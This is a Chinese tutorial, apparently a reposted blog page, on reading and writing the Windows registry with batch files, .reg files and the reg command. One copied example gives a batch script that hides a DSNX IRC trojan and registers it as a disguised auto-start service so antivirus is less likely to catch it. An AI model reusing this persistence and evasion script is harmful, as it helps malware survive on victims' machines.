批处理操作注册表完全攻略(读取注册表/写入注册表等)_DOS/BAT

一,批处理生成.Reg文件操作注册表
  用批处理中的重定向符号可以轻松地生成.reg文件。然后用命令执行.reg文件即可!
  这里,着重要了解.reg文件操作注册表的方法。
  首先.reg文件首行必须是:Windows Registry Editor Version 5.00。然后才是操作注册表的内容。
  (就和从注册表中导出的文件格式一致)

  1,创建子项
  Windows Registry Editor Version 5.00
  [HKEY_LOCAL_MACHINE\SOFTWARE\TTT]

  在HKEY_LOCAL_MACHINE\SOFTWARE\下创建了一个名字为“TTT”的子项。

  2,创建一个项目名称

复制代码 代码如下:

  Windows Registry Editor Version 5.00
  [HKEY_LOCAL_MACHINE\SOFTWARE\TTT]
  "Name"="TTT BLOG"
  "EMail"="taoether@gmail.com"
  "URL"="http://www.taoyoyo.net/ttt/"
  "Type"=dword:02

  这样就在[HKEY_LOCAL_MACHINE\SOFTWARE\TTT]下新建了:Name、EMail、 URL、Type这四个项目
  Name、Email、URL的类型是“String Value”
  Type的类型是“DWORD Value”

  (附:windows注册表值类型:
  REG_SZ 字符串值
  REG_BINARY 二进制值
  REG_DWORD DWORD值
  REG_MULTI_SZ 多字符串值
  REG_EXPAND_SZ 可扩充字符串值)

  3,修改键值
  修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit /s)即可。就象新建一样即可。可以一次修改同一子项下的多个项目。

  4,删除项目名称

复制代码 代码如下:

  Windows Registry Editor Version 5.00
  [HKEY_LOCAL_MACHINE\SOFTWARE\TTT]
  "EMail"=-

  执行该脚本,"EMail"就被删除了;

  5,删除子项

复制代码 代码如下:

  Windows Registry Editor Version 5.00
  [-HKEY_LOCAL_MACHINE\SOFTWARE\TTT]
  [-HKEY_LOCAL_MACHINE\SOFTWARE\DDD]

  执行该脚本,子项ttt和ddd就已经被删除了。

  6,.reg文件执行方法
  1)直接执行reg文件
  2)regedit /s *.reg (/s不用确认)
  3)reg import *.reg

  7,其实,我们也可以用dll文件代替reg文件。

  批处理例1:

复制代码 代码如下:

  @echo off
  echo Windows Registry Editor Version 5.00 >t1.reg
  echo.
  echo [HKEY_LOCAL_MACHINE\SOFTWARE\TTT] >>t1.reg
  echo "Name"="TTT BLOG" >>t1.reg
  echo "EMail"="taoether@gmail.com" >>t1.reg
  echo "URL"="http://www.taoyoyo.net/ttt/" >>t1.reg
  echo "Type"=dword:02 >>t1.reg
  regedit /s t1.reg
  del /q t1.reg
  pause

  批处理2:(这个例子是别人的,不是很懂的说~~)
  我们现在在使用一些比较老的木马时,可能会在注册表的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ Windows\CurrentVersion\Run(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启 动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例 (名为windrv32.exe)

复制代码 代码如下:

  @start windrv32.exe
  @attrib +h +r windrv32.exe
  @echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll
  @echo "windsnx "=- >>patch.dll
  @sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:\winnt\system32\windrv32.exe
  @regedit /s patch.dll
  @delete patch.dll
  @REM [删除DSNXDE在注册表中的启动项,用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读,并config为自启动]
  @REM 这样不是更安全^_^.

  二,reg命令操作注册表

  Reg命令是Windows提供的一下专门操作注册表的工具。可以方便的查询,添加,删除,导入,导出,比较等操作。具体可以参考系统自带的帮助……

REG Operation [参数列表]
Operation [ QUERY | ADD | DELETE | COPY |
SAVE | LOAD | UNLOAD | RESTORE |
COMPARE | EXPORT | IMPORT ]

  1,查询所有子项和值
  
D:\>reg query hklm\software\TTT

! REG.EXE VERSION 3.0

HKEY_LOCAL_MACHINE\software\TTT
Name REG_SZ TTT BLOG
EMail REG_SZ taoether@gmail.com
URL REG_SZ http://www.taoyoyo.net/ttt/
Type REG_DWORD 0x2

  2,查询特定项

D:\>reg query hklm\software\ttt /v url

! REG.EXE VERSION 3.0

HKEY_LOCAL_MACHINE\software\ttt
url REG_SZ http://www.taoyoyo.net/ttt/

  这里最难的是如何取得我们想要的字符串呢,困惑了好长时间,终于找到方法了。
  原来也没有别的好办法,只能用find,for循环来截取我们需要的内容。(下面的例子如果看不懂,请参考本博客另外的文章:DOS循环-bat/批处理for命令详解之二)
  例如我们要得到url的键值: http://www.taoyoyo.net/ttt/,可以用以下脚本:

复制代码 代码如下:

  @ECHO OFF
  for /f "tokens=1,2,3,4,*" %%i in ('reg query "HKEY_LOCAL_MACHINE\software\ttt" ^| find /i "URL"') do SET "pURL=%%k"
  echo TTT BLOG的URL值为:%pURL%

  保存为Test.bat,运行结果如下:

D:\>test.bat
TTT BLOG的URL值为:http://www.taoyoyo.net/ttt/

  不行了,家里的电脑不知为啥,在命令行中一运行“REG”命令(包括reg /?),CPU就占用100%,看任务管理器,CMD占用百分之八十多,不知道为啥……
  运行其他的命令就没有问题,包括regedit /s……

  查了一下,网上有说是中了木马的原因,但查了一下,也不象。既没有找到相关文件,而且运行其它的命令时,没有问题……
  先不搞了,正好手头有个REG命令详解,等会整理一下!

  因为查毒,用自己做的Clear.bat清理了一下C盘,居然清理出1个G的空间来,原来只剩几百兆了……windows的垃圾真是多啊~~不要忘了经常清理一下啊!

  再发布两个做好的批处理文件,可以自动监控OutLook Express,有需要的可以点击下载……
  1,OEMonitorCount.bat 功能:可以重设注册表中OE打开次数,避免超过100次时提示压缩
  2,OEMonitorSize.bat 功能:可以监控Outlook Express邮件文件(*.dbx)大小,当大于指定大小时,生成报警日志。

  这两个文件,可以加到启动组里,每次开机自动运行!
  搞这两个主要是为了解决公司经常出现的一些问题:
  1)经常有人的邮件文件超过几个G;
  2)有时而且根据提示压缩后,可能出现邮件丢失。

  刚发现,下载后的文件又加了“htm"的后缀,请去掉此后缀再使用!
  另外下载时,请使用下面的链接,如:千脑电信高速下载地址、千脑网通高速下载地址。上面的VIP链接是专供千脑用户使用的~~

时间: 2024-10-31 02:30:09

批处理操作注册表完全攻略(读取注册表/写入注册表等)_DOS/BAT的相关文章

webBrowser中操作网页元素全攻略

原文 webBrowser中操作网页元素全攻略 1.获取非input控件的值: webBrowser1.Document.All["控件ID"].InnerText; 或webBrowser1.Document.GetElementById("控件ID").InnerText; 或webBrowser1.Document.GetElementById("控件ID").GetAttribute("value"); 2.获取inp

注册表Win2000安全设置—注册表使用全攻略之十六_注册表

利用注册表Win2000安全设置-注册表使用全攻略之十六 注:更改的注册表项目位于HKEY_CURRENT_USER中. 如果针对某一用户,更改位于HKEY_USERS\(S-1-5-21-746137067-507921405-1060284298-500)(用户代码)下的相应键值. 1. 防止他人获取对Web页面的访问信息 HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypedURLs用于保存IE历史记录的,保存最近浏览的25

XP注册表之性能优化—注册表使用全攻略之十八_注册表

XP注册表之性能优化-注册表使用全攻略之十八     1.加快开机及关机速度 在[开始]-->[运行]-->键入[Regedit]-->[HKEY_CURRENT_USER]-->[Control Panel]-->[Desktop],将字符串值[HungAppTimeout]的数值数据更改为[200],将字符串值[WaitToKillAppTimeout]的数值数据更改为1000.另外在[HKEY_LOCAL_MACHINE]-->[System]-->[Cur

利用注册表限制特定程序运行—注册表使用全攻略之十四_注册表

利用注册表限制特定程序运行-注册表使用全攻略之十四 对于一些与系统密切相关的程序,如果随意让其他人使用,非常容易造成死机甚至系统崩溃.通过系统本身的注册表来限制特定程序的运行. 1.一键锁通关 我们要做的是在注册表中加入"RestrictRun"键值,以此来限制绝大多数程序的运行 . 运行"Regedit"打开注册表编辑器,展开HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\E

注册表修改攻略_注册表

使打开IE时候,窗口最大化 在HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\ 下 在右边的窗口中删除Window_Placement,并且 在HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\Old WorkAreas 下 在右边的窗口中删除OldWorkAreaRects .   禁止使用"重置WEB设置" 在HKEY_CU

恶意网页之注册表后门—注册表使用全攻略之十九_注册表

恶意网页之注册表后门-注册表使用全攻略之十九 浏览器顽固不改, 修改注册表成功,重新启动后又恢复到被修改的状态 主要是修改注册表后留后门,目的让你修改注册表好像成功,重新启动后又恢复到被修改的状态. 这主要是在启动项里留了后门,大家可以打开注册表到 HKCU\Software\Microsoft\Windows\CurrentVersion\Run HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce HKCU\Software\Micro

保存和配置系统硬件注册信息—注册表使用全攻略之十二_注册表

保存和配置系统硬件注册信息-注册表使用全攻略之十二 电脑用的时间长了,经常要更换一些硬件设备,重复安装驱动程序也就成了家常便饭,这样就致使电脑中残留下很多硬件注册信息,系统启动时就会试图与不存在的设备通讯,从而导致系统速度的下降.如何删除这些注册信息呢?格式化么?太麻烦了吧! 其实Windows有个"硬件配置文件"功能,它是用来告诉电脑在启动时启动哪些硬件设备,第一次安装Windows时,系统就默认创建了一个配置文件"Original Configuration"(

C#操作注册表全攻略

相信每个人对注册表并不陌生,在运行里面输入"regedit"就可以打开注册表编辑器了.这东西对Windows系统来说可是比较重要的,也是病毒常常会光顾的地方,比如病毒和恶意软件常常会在注册表的启动项里面写入自己的启动键值来达到自启动的目的,有些病毒还会修改注册表里面来映像劫持杀毒软件,这是破坏系统的第一步.同时,大多软件(软件的序列号和信息)和硬件信息.系统信息.安全模式等等设置都保存在这里,因此系统的健康在很大程度上要依赖注册表的健康. 作为编程开发人员,我们有必要了解注册表并学会操

免费午餐:亚马逊免费云主机注册使用全攻略

中介交易 SEO诊断 淘宝客 云主机 技术大厅 折腾了好一段时间,终于申请成功了.现在总结一下,希望能够对诸位朋友有所帮助.恩,免费获得1年的云主机使用权,云主机配置为1CPU,613M内存,win或者linux操作系统.值得一提的是,他们居然连winserver2012都有.赞+1 申请过程中遇到两个问题,差点放弃. 1,是注册账号需要信用卡.后来我用我老婆的信用卡就注册成功了.任意信用卡,只要有万事达MasterCard,或者VISA标记就可以. 2,是他发送一封邮件给我,告诉我被拒绝了,因